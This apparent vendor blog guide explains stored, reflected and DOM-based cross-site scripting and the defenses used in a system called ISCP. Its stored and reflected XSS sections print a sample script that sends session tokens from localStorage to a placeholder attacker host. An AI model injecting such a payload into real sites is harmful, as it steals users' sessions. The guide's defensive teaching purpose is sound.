Protecting Your Users Against Cross-Site Scripting (XSS) Attacks

5 minute read

In this guide you’ll learn about cross-site scripting (XSS) attack – what is it, different types of XSS and how to sanitize data across various subsystems of your web platform (emails, APIs, back-end/front-end) to protect your users against XSS, in the context of a real-world system implementation.

Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) vulnerability, as its name implies, enables an attacker to execute arbitrary JavaScript code on the user’s browser in the context of the vulnerable website. You can easily imagine the consequence of such an attack: imagine if your bank website has XSS vulnerability and an attacker is able to exploit it, he can end up with details such as your financial transactions, profile information and most importantly, your session token which can help the attacker to impersonate you. (You can read more about XSS on OWASP page.)

Types of XSS

XSS has been classified into three types:

  1. Stored XSS: When an XSS code makes into the persistent storage of the server and is subsequently served to the users of that website in the otherwise normal response, it is termed as Stored XSS. Such an attack has the widest attack surface stretching to all the users of that website. Suppose you have a marketplace system that doesn’t validate user’s name input for XSS, and a hacker sets up a seller profile with name as:
<script>document.location='https://hackersite/inform?d=' + encodeURIComponent(window.localStorage.getItem('sessionId') + ':' + window.localStorage.getItem('secret'))</script>

the XSS code is now stored. Subsequently, whenever any of the system’s users (administrators, customer care executives and buyers) open up a page (including product search) that has anything related to this seller, they will be served with above code. If there’s no output encoding while rendering the name, users' web browser will execute the script contained and the hacker will receive session credentials for each such user.

  1. Reflected XSS: When an XSS code makes way into the server via a request and is then immediately “reflected” back by the server in its response, it is termed as Reflected XSS. Such an attack can impact only such users who follow some malicious link or post malicious form etc. infected with an XSS code to the vulnerable website. Suppose a buyer receives a targeted email containing fake yet enticing discount offers. Each of such offer link has the href value as follows:<script>document.location='https://hackersite/inform?d=' + encodeURIComponent(window.localStorage.getItem('sessionId') + ':' + window.localStorage.getItem('secret'))</script>
    Since such a URL doesn’t exist and if your site renders the URL path without html encoding it in PageNotFound handler, the hacker will receive that buyer’s session credentials if buyer was already logged in.

  2. DOM Based XSS: When an XSS code makes way into the user’s browser execution engine via DOM injection and is never part of the server’s response body unlike Stored/Reflected XSS, it is termed as DOM Based XSS. Such an attack can impact only such users who follow some malicious link or post malicious form etc. infected with an XSS code to the vulnerable website. The server may or may not see the malicious code but the website’s client-side code injects the XSS code into the DOM without proper sanitization. It is more difficult to identify DOM based XSS as it doesn’t appear in the response.

Measures you can take to protect against XSS

ISCP security has been designed based on ASPSecurityKit, which follows the zero-trust model as the core design principle. Following the same principle, in ISCP every layer, which handles either input or output for the end-users of the system, is responsible to validate or sanitize the data being transferred.

In the subsequent sections, we’ll go through these layers and elucidate the data sanitization strategy/tools we’ve employed at each layer, to protect users of ISCP against XSS.

Request Input Validation

ASPSecurityKit provides an out-of-the-box, cross-platform XSS input validation component which runs as a pre-execution step of the security pipeline and the same is employed by ISCP for all of its APIs. This protection is enabled by default for ASP.NET Core Mvc/APIs, ASP.NET Web API and Service Stack. For more information, read the XSS section on the security pipeline documentation article.

If XSS input is rejected possibility of Stored XSS attack reduces considerably.

Email Content Escaping

ISCP sends several emails to its users related to various events in the system like changes in profile (username/email/password), new user registration etc. Often these emails are personalized for the target users with their name and other details embedded in the content (including links). Since every layer works on the zero-trust model when it comes to security, we make sure that such dynamically embedded data (known as substitutions in context of email templates) goes through the escaping (encoding) sequence. We’ve leveraged Microsoft AntiXSS for the same:

    foreach (var sub in mailInfo.Substitutions)
		mail.AddGlobalMergeVars(sub.Key, Encoder.HtmlEncode(sub.Value.First()));

Since emails coming from official sources are considered far more trustworthy by the users for obvious reasons, sanitizing dynamic data eliminates the possibility of the official source itself becoming a medium of Reflected XSS.

Website Content Encoding

ISCP front-end is a Single Page Application (SPA) and has been built using modern JS frameworks including AngularJS and React. These frameworks have pretty good XSS protection built in. Any dynamic data received via endpoints is outputted after proper encoding by these libraries. This helps in avoiding all kinds of XSS injections (including DOM based).

Content Security Policy (CSP)

A CSP basically tells client browser that only from specifically designated domains/URLs the page is allowed to load images/scripts/stylesheets etc. resources. We’ve configured ISCP portals with a strong Content Security Policy – a sample of which is given below:

Content-Security-Policy: default-src 'self';script-src 'self' 'nonce-XKeiapkyRfyNeYMnQb0mj9rvWcQrDXYSbpyODQXvdKvz/RjXzr/GLVuWvMkoPFkRQtIkE/CB1Xhe8PmGtNRNcQ==';style-src 'self' 'nonce-XKeiapkyRfyNeYMnQb0mj9rvWcQrDXYSbpyODQXvdKvz/RjXzr/GLVuWvMkoPFkRQtIkE/CB1Xhe8PmGtNRNcQ==';font-src 'self' data:;img-src 'self' data:;connect-src;report-uri;

The most common motive behind XSS injection is to reveal users’ personal data (including session tokens) to the attacker. This requires that the XSS code is able to call back to its owner’s server. CSP helps in blocking this communication (with unauthorized attacker’s server) and thus renders a complex XSS injection attacks useless. Even if an XSS code passes input validation and also output encoding couldn’t prevent it from injecting and executing, CSP can still make it useless.

Additionally, CSP can also help in discovering not-yet-known XSS vulnerabilities by reporting the CSP violations to the server. The above policy definition configures a reporting URL for the same.

Don't Miss Out!

Be the first to get notified when the new quality content related to web app security like the one you're reading is posted.

Need help?

Looking for expert security guidance, security review of your source code or penetration testing of your application, or part-time/full-time assistance in implementation of the complete web application and/or its security subsystem?

Just send an email to [email protected] with the details or call us on +16282502591.

Related tags

XSS , Zero-Trust , Content Security Policy , Anti_XSS , Email-Templates